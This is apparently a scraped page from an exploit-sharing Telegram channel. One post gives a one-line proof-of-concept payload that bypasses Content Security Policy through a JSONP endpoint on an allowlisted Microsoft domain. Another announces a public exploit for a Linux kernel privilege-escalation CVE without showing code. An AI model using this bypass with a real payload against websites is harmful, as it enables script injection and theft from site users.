0Day.Today | Learn Exploit | Zero World | Dark web

You can bypass CSP on any website that allows http://microsoft.com in a script-src

PoC:

<script src=http://microsoft.com/en-us/research/wp-json?_jsonp=alert></script>

This works because of the WordPress CSP bypass our engineer (octagon) found last year :

octagon.net

#BugBounty #bypass #POC
——————‌
0Day.Today
@LearnExploit
@Tech_Army

👍5🤔2

2.67K viewsedited 13:54

CVE-2023-0386 - PoC Exploit Released for Linux Kernel Privilege Escalation

Link

Exploit

#POC #exploit #linux
——————‌
0Day.Today
@LearnExploit
@Tech_Army

🔥4❤2

2.34K views15:16